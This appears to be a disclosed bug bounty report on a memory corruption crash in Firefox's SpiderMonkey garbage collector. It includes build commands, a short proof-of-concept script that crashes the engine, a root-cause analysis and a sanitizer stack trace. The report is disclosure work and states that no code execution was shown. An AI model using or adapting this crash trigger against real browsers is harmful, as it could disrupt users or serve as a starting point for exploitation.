Memory Corruption in SpiderMonkey Garbage Collection During JIT Compilation with Float16Array and Function.prototype.call Override
A crafted JavaScript program that recurses while overriding Function.prototype.call and using a Float16Array subarray causes SpiderMonkey's minor garbage collection to forward an invalid buffer pointer. The result is a read from an unmapped address and a crash in the engine's nursery collection code.
- Fixed in 4 days
- Paid in 9 days
- Disclosed after 4 days
Reproduce
-
Clone the Firefox mirror from https://github.com/mozilla-firefox/firefox
-
Run build command in the js/src directory of the firefox checkout:
Bash mkdir fuzzbuild_OPT.OBJ && cd fuzzbuild_OPT.OBJ && ../configure --enable-address-sanitizer --disable-jemalloc --enable-debug --enable-optimize --disable-shared-js --enable-application=js --enable-gczeal && make -j64 -
Run poc:
fuzzbuild_OPT.OBJ/dist/bin/js --baseline-warmup-threshold=10 --ion-warmup-threshold=100 --gc-zeal=15 poc.js
Test SpiderMonkey commit hash: 3c23ce1368431d49bae08e8e211f7f2bf4e4829d
commit 3c23ce1368431d49bae08e8e211f7f2bf4e4829d
Author: stransky <[address removed]>
Date: 2025-09-08 04:20:40 +0000
Bug 1979106 [Wayland] Don't recycle buffer transactions across WaylandSurfaces r=emilio
POC (poc.js):
function crash(value) {
var array = new Float16Array(10).subarray(1);
array[0] = Math.f16round(value);
Function.prototype.call = function () {
value++;
};
crash(array[0], value);
}
for (var i = 0; i < 100; ++i) {
crash(i);
}
Root Cause
The vulnerability occurs due to a memory corruption issue in SpiderMonkey's garbage collection system when handling JIT-compiled code that interacts with typed arrays (specifically Float16Array) and modified built-in function prototypes. The code recursively calls crash() function with Float16Array operations while Function.prototype.call is overridden, creating a complex JIT compilation scenario. The --gc-zeal=15 flag forces frequent garbage collection cycles, and during the recursive execution, nursery garbage collection is triggered.
The crash occurs in js::Nursery::forwardBufferPointer() at line 1041, where the garbage collector attempts to forward buffer pointers for objects in the nursery during minor GC processing of JIT frame information. The problematic code path is in Nursery.cpp:
// Line ~1041 in forwardBufferPointer()
BufferRelocationOverlay* reloc = static_cast<BufferRelocationOverlay*>(buffer);
buffer = *reloc;
MOZ_ASSERT(IsWriteableAddress(buffer)); // Crash occurs here
The IsWriteableAddress() function attempts to validate a memory address by dereferencing it:
// Line 1012 in IsWriteableAddress()
static bool IsWriteableAddress(void* ptr) {
auto* vPtr = reinterpret_cast<volatile uint64_t*>(ptr);
*vPtr = *vPtr; // SEGV occurs here - invalid memory access
return true;
}
The crash occurs because the buffer pointer being forwarded (0x000025bff347 in the crash) is not a valid memory address, likely due to corruption during the complex interaction between JIT compilation of the recursive function, Float16Array buffer management, modified Function.prototype.call affecting call semantics, and aggressive garbage collection cycles.
Crash Stack Trace
UndefinedBehaviorSanitizer Error: SEGV on unknown address 0x000025bff347
Stack frames showing crash path:
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==11301==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000025bff347 (pc 0x561d5a90bb85 bp 0x7ffef0106830 sp 0x7ffef01067e0 T11301)
==11301==The signal is caused by a READ memory access.
#0 0x561d5a90bb85 in IsWriteableAddress(void*) /home/sakura/gecko-dev/js/src/gc/Nursery.cpp:1012:11
#1 0x561d5a90bb85 in js::Nursery::forwardBufferPointer(unsigned long*) /home/sakura/gecko-dev/js/src/gc/Nursery.cpp:1041:5
#2 0x561d5b2ed884 in js::jit::UpdateIonJSFrameForMinorGC(JSRuntime*, js::jit::JSJitFrameIter const&) /home/sakura/gecko-dev/js/src/jit/JitFrames.cpp:1152:15
#3 0x561d5b2ed884 in js::jit::UpdateJitActivationsForMinorGC(JSRuntime*) /home/sakura/gecko-dev/js/src/jit/JitFrames.cpp:1528:11
#4 0x561d5a90f417 in js::Nursery::doCollection(js::gc::AutoGCSession&, JS::GCOptions, JS::GCReason) /home/sakura/gecko-dev/js/src/gc/Nursery.cpp:1742:3
#5 0x561d5a90e1e3 in js::Nursery::collect(JS::GCOptions, JS::GCReason) /home/sakura/gecko-dev/js/src/gc/Nursery.cpp:1459:31
#6 0x561d5a875a8f in js::gc::GCRuntime::collectNursery(JS::GCOptions, JS::GCReason, js::gcstats::PhaseKind) /home/sakura/gecko-dev/js/src/gc/GC.cpp:5072:13
#7 0x561d5a84ea2c in js::gc::GCRuntime::minorGC(JS::GCReason, js::gcstats::PhaseKind) /home/sakura/gecko-dev/js/src/gc/GC.cpp:5043:3
#8 0x561d5a7e11f3 in void* js::gc::CellAllocator::RetryNurseryAlloc<(js::AllowGC)1>(JSContext*, JS::TraceKind, js::gc::AllocKind, unsigned long, js::gc::AllocSite*) /home/sakura/gecko-dev/js/src/gc/Allocator.cpp:107:23
Register values at crash:
rax = 0x0000000025bff347 # Invalid pointer being accessed
rbx = 0x00007f95b6645110 rcx = 0x00000000000ca850 rdx = 0x00007f95b549fa00
The crash demonstrates a memory safety violation where the garbage collector attempts to access an invalid memory address during buffer pointer forwarding, likely due to corruption in the JIT frame management when handling the complex scenario involving typed arrays and modified built-in prototypes.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a stale or corrupted buffer pointer in the JIT frame information that the nursery's minor-GC pointer forwarding treats as a valid buffer address.
Impact
The engine crashes with a memory-safety violation (an invalid read during garbage collection); the report does not demonstrate code execution.
What the attacker needed
Ability to run JavaScript in SpiderMonkey; specific GC and JIT warm-up settings
How it was found
- Build the JavaScript shell from the Firefox source tree with AddressSanitizer, debug and GC zeal options enabled.
- Run the provided script in the built shell with lowered baseline and Ion warm-up thresholds and a GC zeal setting.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A browser's JavaScript engine stores short-lived objects in a small memory area called the nursery and periodically moves them elsewhere, updating any pointers that refer to them. Here a specially written script made that pointer-updating step read from a bogus address, so the engine crashed. The report shows a crash, not a proven way to run attacker code.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.